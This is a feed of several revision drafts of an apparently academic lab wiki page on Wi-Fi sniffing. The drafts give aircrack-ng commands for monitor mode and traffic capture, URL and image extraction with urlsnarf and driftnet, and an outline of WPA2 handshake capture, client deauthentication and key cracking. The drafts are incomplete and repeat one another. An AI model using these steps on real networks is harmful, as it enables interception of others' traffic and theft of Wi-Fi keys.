Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8249</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8249"/>
		<updated>2021-12-17T10:57:57Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 -bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 output muss noch rein&lt;br /&gt;
 &lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - ===&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8248</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8248"/>
		<updated>2021-12-17T10:45:49Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - &lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8247</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8247"/>
		<updated>2021-12-17T10:44:13Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
